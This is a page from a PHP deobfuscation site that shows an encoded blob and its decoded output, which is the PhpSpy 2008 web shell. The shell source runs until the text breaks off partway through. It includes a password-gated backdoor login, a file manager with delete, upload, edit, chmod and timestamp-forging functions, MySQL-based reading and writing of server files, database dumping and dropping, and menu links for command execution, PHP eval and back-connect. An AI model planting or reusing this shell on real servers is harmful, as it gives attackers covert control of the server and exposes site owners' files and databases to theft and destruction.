Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);$_F=__FILE__;$_X="Pz48P3A5cCAkX0Y9X19GSUxFX187JF9YPSdQejUzUDhCbzZ..

Decoded Output download

?><?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname('index.php')).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array('_GET','_POST') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != '_') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*===================== &#31243;&#24207;&#37197;&#32622; =====================*/
$admin = array();
// &#26159;&#21542;&#38656;&#35201;&#23494;&#30721;&#39564;&#35777;, true &#20026;&#38656;&#35201;&#39564;&#35777;, false &#20026;&#30452;&#25509;&#36827;&#20837;.&#19979;&#38754;&#36873;&#39033;&#21017;&#26080;&#25928;
$admin['check'] = true;
// &#22914;&#26524;&#38656;&#35201;&#23494;&#30721;&#39564;&#35777;,&#35831;&#20462;&#25913;&#30331;&#38470;&#23494;&#30721;
$admin['pass']  = 'fuckthatASS';

//&#22914;&#24744;&#23545; cookie &#20316;&#29992;&#33539;&#22260;&#26377;&#29305;&#27530;&#35201;&#27714;, &#25110;&#30331;&#24405;&#19981;&#27491;&#24120;, &#35831;&#20462;&#25913;&#19979;&#38754;&#21464;&#37327;, &#21542;&#21017;&#35831;&#20445;&#25345;&#40664;&#35748;
// cookie &#21069;&#32512;
$admin['cookiepre'] = '';
// cookie &#20316;&#29992;&#22495;
$admin['cookiedomain'] = '';
// cookie &#20316;&#29992;&#36335;&#24452;
$admin['cookiepath'] = '/';
// cookie &#26377;&#25928;&#26399;
$admin['cookielife'] = 86400;
/*===================== &#37197;&#32622;&#32467;&#26463; =====================*/

if ($charset == 'utf8') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();

/*===================== &#36523;&#20221;&#39564;&#35777; =====================*/
if ($action == "logout") {
	scookie('phpspypass', '', -86400 * 365);
	p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
	p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
	exit;
}
if($admin['check']) {
	if ($doing == 'login') {
		if ($admin['pass'] == $password) {
			scookie('phpspypass', $password);
			p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
			p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
			exit;
		}
	}
	if ($_COOKIE['phpspypass']) {
		if ($_COOKIE['phpspypass'] != $admin['pass']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*===================== &#39564;&#35777;&#32467;&#26463; =====================*/

$errmsg = '';

// &#26597;&#30475;PHPINFO
if ($action == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = 'phpinfo() function has non-permissible';
	}
}

// &#19979;&#36733;&#25991;&#20214;
if ($doing == 'downfile' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = 'The file you want Downloadable was nonexistent';
	} else {
		$fileinfo = pathinfo($thefile);
		header('Content-type: application/x-'.$fileinfo['extension']);
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}

// &#30452;&#25509;&#19979;&#36733;&#22791;&#20221;&#25968;&#25454;&#24211;
if ($doing == 'backupmysql' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p('<h2>'.mysql_error().'</h2>');
	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
	header('Content-type: application/unknown');
	header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// &#36890;&#36807;MYSQL&#19979;&#36733;&#25991;&#20214;
if($doing=='mysqldown'){
	if (!$dbname) {
		$errmsg = 'Please input dbname';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = 'The file you want Downloadable was nonexistent';
		} else {
			$result = q("select load_file('$mysqldlfile');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//&#29992;&#26102;&#38388;&#25139;&#26469;&#34920;&#31034;&#25130;&#26029;,&#36991;&#20813;&#20986;&#29616;&#35835;&#21462;&#33258;&#36523;&#25110;&#21253;&#21547;__angel_1111111111_eof__&#30340;&#25991;&#20214;&#26102;&#19981;&#23436;&#25972;&#30340;&#24773;&#20917;
				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = 'Load file failed '.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header('Content-type: application/x-'.$fileinfo['extension']);
				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
			<a href="javascript:goaction('logout');">Logout</a> | 
			<a href="javascript:goaction('file');">File Manager</a> | 
			<a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 
			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | 
			<a href="javascript:goaction('shell');">Execute Command</a> | 
			<a href="javascript:goaction('phpenv');">PHP Variable</a> | 
			<a href="javascript:goaction('eval');">Eval PHP Code</a>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array('name'=>'goaction'));
makehide('action');
formfoot();

$errmsg && m($errmsg);

// &#33719;&#21462;&#24403;&#21069;&#36335;&#24452;
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
	$dir = $dir.'/';
}
$uedir = ue($dir);

if (!$action || $action == 'file') {

	// &#21028;&#26029;&#35835;&#20889;&#24773;&#20917;
	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

	// &#21024;&#38500;&#30446;&#24405;
	if ($doing == 'deldir' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.' directory does not exist');
		} else {
			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
		}
	}

	// &#21019;&#24314;&#30446;&#24405;
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m('Directory has already existed');
		} else {
			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
			@chmod($mkdirs,0777);
		}
	}

	// &#19978;&#20256;&#25991;&#20214;
	elseif ($doupfile) {
		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
	}

	// &#32534;&#36753;&#25991;&#20214;
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,'w');
		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
		@fclose($fp);
	}

	// &#32534;&#36753;&#25991;&#20214;&#23646;&#24615;
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m('The original file does not exist');
		} else {
			$newperm = base_convert($newperm,8,10);
			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
		}
	}

	// &#25913;&#21517;
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.' has already existed or original file does not exist');
		} else {
			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
		}
	}

	// &#22797;&#21046;&#25991;&#20214;
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
		}
	}

	// &#20811;&#38534;&#26102;&#38388;
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			$time = @filemtime($tarfile);
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	// &#33258;&#23450;&#20041;&#26102;&#38388;
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).' does not exist');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	// &#25171;&#21253;&#19979;&#36733;
	elseif($doing == 'downrar') {
		if ($dl) {
			$dfiles='';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.',';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(',',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header('Content-type: application/octet-stream');
			header('Accept-Ranges: bytes');
			header('Accept-Length: '.strlen($code));
			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
			echo $code;
			exit;
		} else {
			m('Please select file(s)');
		}
	}

	// &#25209;&#37327;&#21024;&#38500;&#25991;&#20214;
	elseif($doing == 'delfiles') {
		if ($dl) {
			$dfiles='';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m('Deleted file have finished&#65292;choose '.count($dl).' success '.$succ.' fail '.$fail);
		} else {
			m('Please select file(s)');
		}
	}

	//&#25805;&#20316;&#23436;&#27605;
	formhead(array('name'=>'createdir'));
	makehide('newdirname');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileperm'));
	makehide('newperm');
	makehide('pfile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'copyfile'));
	makehide('sname');
	makehide('tofile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'rename'));
	makehide('oldname');
	makehide('newfilename');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileopform'));
	makehide('action');
	makehide('opfile');
	makehide('dir');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=1;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
</script>
  <?php
	tbhead();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
	if ($view_writable) {
		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
	} else {
		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
	}
	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
	if (IS_WIN && IS_COM) {
		$obj = new COM('scripting.filesystemobject');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				} else {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				}
			}
		}
	}

	p('</td></tr></form>');

	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

	//&#26597;&#30475;&#25152;&#26377;&#21487;&#20889;&#25991;&#20214;&#21644;&#30446;&#24405;
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// &#30446;&#24405;&#21015;&#34920;
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb['filename']=$file;
				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$dirdb['dirchmod']=getChmod($filepath);
				$dirdb['dirperm']=getPerms($filepath);
				$dirdb['fileowner']=getUser($filepath);
				$dirdb['dirlink']=$nowpath;
				$dirdb['server_link']=$filepath;
				$dirdb['client_link']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {		
				$filedb['filename']=$file;
				$filedb['size']=sizecount(@filesize($filepath));
				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$filedb['filechmod']=getChmod($filepath);
				$filedb['fileperm']=getPerms($filepath);
				$filedb['fileowner']=getUser($filepath);
				$filedb['dirlink']=$nowpath;
				$filedb['server_link']=$filepath;
				$filedb['client_link']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = '0';
	foreach($dirdata as $key => $dirdb){
		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
			$thisbg = bg();
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
			p('<td nowrap>'.$dirdb['mtime'].'</td>');
			p('<td nowrap>--</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
			p('</tr>');
			$dir_i++;
		} else {
			if($dirdb['filename']=='..') {
				p('<tr class='.bg().'>');
				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
				p('</tr>');
			}
		}
	}

	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
	makehide('action','file');
	makehide('thefile');
	makehide('doing');
	makehide('dir',$nowpath);
	$file_i = '0';
	foreach($filedata as $key => $filedb){
		if($filedb['filename']!='..' && $filedb['filename']!='.') {
			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
			$thisbg = bg();
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
			p('<td nowrap>'.$filedb['mtime'].'</td>');
			p('<td nowrap>'.$filedb['size'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
			p('</td></tr>');
			$file_i++;
		}
	}
	p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
	p('</form></table>');
}// end dir

elseif ($action == 'sqlfile') {
	if($doing=="mysqlupload"){
		$file = $_FILES['uploadfile'];
		$filename = $file['tmp_name'];
		if (file_exists($savepath)) {
			m('The goal file has already existed');
		} else {
			if(!$filename) {
				m('Please choose a file');
			} else {
				$fp=@fopen($filename,'r');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file['name'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
			}
		}
	}
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
	makehide('action','sqlfile');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBName:');
	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	p('</p>');
	formfoot();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
	p('<h2>Upload file</h2>');
	p('<p><b>This operation the DB user must has FILE privilege</b></p>');
	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
	p('<h2>Download file</h2>');
	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
	makehide('dbhost');
	makehide('dbport');
	makehide('dbuser');
	makehide('dbpass');
	makehide('dbname');
	makehide('charset');
	makehide('doing');
	makehide('action','sqlfile');
	p('</form>');
}

elseif ($action == 'sqladmin') {
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == 'backupmysql' && $saveasfile) {
		if (!$table) {
			m('Please choose the table');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,'w');
			if ($fp) {
				$result = q('SHOW tables');
				if (!$result) p('<h2>'.mysql_error().'</h2>');
				$mysqldata = '';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,'',$path);
				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
				mysql_close();
			} else {
				m('Backup failed');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."'".addslashes($val)."'";
				$tmp = ',';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."='".addslashes($val)."'";
			$tmp = ',';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
		}
	}
	if ($doing == 'del' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
	}

	if ($tablename && $doing == 'drop') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m('Drop table of success');
			$tablename = '';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

	formhead(array('title'=>'MYSQL Manager'));
	makehide('action','sqladmin');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
